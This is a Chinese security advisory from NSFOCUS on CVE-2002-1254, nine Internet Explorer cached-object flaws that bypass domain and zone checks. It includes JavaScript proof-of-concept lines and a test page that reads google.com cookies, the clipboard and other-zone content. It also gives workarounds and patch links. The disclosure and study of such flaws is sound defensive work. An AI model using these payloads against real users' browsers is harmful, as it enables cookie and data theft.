首页 -> 安全研究

安全研究

安全漏洞
Microsoft Internet Explorer多个缓存对象区域绕过漏洞

发布日期:2002-10-22
更新日期:2002-10-28

受影响系统:
Microsoft Internet Explorer 5.5SP2
Microsoft Internet Explorer 5.5SP1
Microsoft Internet Explorer 5.5
Microsoft Internet Explorer 6.0
    - Microsoft Windows XP
    - Microsoft Windows NT 4.0 SP6a
    - Microsoft Windows ME
    - Microsoft Windows 98
    - Microsoft Windows 2000 Server SP2
    - Microsoft Windows 2000 Server SP1
    - Microsoft Windows 2000 Server
    - Microsoft Windows 2000 Professional SP2
    - Microsoft Windows 2000 Professional SP1
    - Microsoft Windows 2000 Professional
    - Microsoft Windows 2000 Datacenter Server SP2
    - Microsoft Windows 2000 Datacenter Server SP1
    - Microsoft Windows 2000 Datacenter Server
    - Microsoft Windows 2000 Advanced Server SP2
    - Microsoft Windows 2000 Advanced Server SP1
    - Microsoft Windows 2000 Advanced Server
不受影响系统:
Microsoft Internet Explorer 6.0SP1
Microsoft Internet Explorer 5.0.1SP2
描述:
BUGTRAQ  ID: 6028
CVE(CAN) ID: CVE-2002-1254

Microsoft Internet Explorer是微软开发和维护的WEB浏览器。

Internet Explorer在处理缓存对象(cached objects)时存在问题,远程攻击者可以利用这个漏洞执行其他域和安全区域中的脚本代码,造成信息泄露等问题。

当窗口之间通信的时候,MSIE安全机制必须确保页面在同一安全区域和同一域中,而缓存对象处理中MSIE安全机制对访问控制检查不充分。当攻击者在自己站点页面中打开窗口时IE会缓存主窗口到子窗口的引用(类似C的指针),虽然这时候子窗口内访问的URL可能已经改变了,但主窗口通过调用引用还是能够被控制,这样就可能使的直接访问不同域和不同安全区域中的内容。攻击者可以通过构建恶意WEB页面,并诱使用户点击,窃取目标用户COOKIE信息,泄露目标用户本地系统文件。

下面9个漏洞都是相关于对象缓存问题,但是每个漏洞都是独立的漏洞,使用独立的方法进行利用。下面所描述的包含3个部分,"Cache"显示怎样缓存有问题的对象,"Exploit"显示漏洞怎样工作,"Impact"描述漏洞的危害。

"Full access"表示可以访问任意域和任意安全区域中的任意页面文档对象模型(DOM)。


1. showModalDialog

Cache: var fVuln=oWin.showModalDialog;
Exploit - IE 5.5:
fVuln("javascript:alert(dialogArguments.document.cookie)",oWin,"");
Exploit - IE 6: 利用难度比较大,可使用"analyze.dlg"
vulnerability.
Impact: 在IE5.5中完全访问, IE6中"My Computer"安全区域可访问。


2. external

Cache: var oVuln=oWin.external;
Exploit: oVuln.NavigateAndFind("javascript:alert(document.cookie)","","");
Impact: Full access.


3. createRange

Cache: var fVuln=oWin.document.selection.createRange;
Exploit: fVuln().pasteHTML("<img
src=\"javascript:alert(document.cookie)\">");
Impact: Full access.


4. elementFromPoint

Cache: var fVuln=oWin.document.elementFromPoint;
Exploit: alert(fVuln(1,1).document.cookie);
Impact: Full access.


5. getElementById

Cache: var fVuln=oWin.document.getElementById;
Exploit: alert(fVuln("ElementIdInNewDoc").document.cookie);
Impact: Full access.


6. getElementsByName

Cache: var fVuln=oWin.document.getElementsByName;
Exploit: alert(fVuln("ElementNameInNewDoc")[0].document.cookie);
Impact: Full access.


7. getElementsByTagName

Cache: var fVuln=oWin.document.getElementsByTagName;
Exploit: alert(fVuln("BODY")[0].document.cookie);
Impact: Full access.


8. execCommand

Cache: var fVuln=oWin.document.execCommand;
Exploit: fVuln("SelectAll"); fVuln("Copy");
alert(clipboardData.getData("text"));
Impact: 读区访问装载的文档


9. clipboardData

Cache: var oVuln=oWin.clipboardData;
Exploit: alert(oVuln.getData("text")); or oVuln.setData("text","data");
Impact: 无需考虑设置,读/写访问剪贴板

<*来源:GreyMagic Software (security@greymagic.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=103538673715363&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

GreyMagic Software (security@greymagic.com)提供了如下测试方法:

使用如上其中之一的缓存模式读取客户端"google.com" COOKIE信息:

<script language="jscript">
var oWin=open("blank.html","victim","width=100,height=100");
[Cache line here]
location.href="http://google.com";
setTimeout(
    function () {
        [Exploit line(s) here]
    },
    3000
);
</script>

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 暂时关闭浏览器的Active Scripting执行。

厂商补丁:

Microsoft
---------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

Microsoft Patch ie6sp1
http://www.microsoft.com/windows/ie/downloads/critical/ie6sp1/default.asp

浏览次数:3232
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障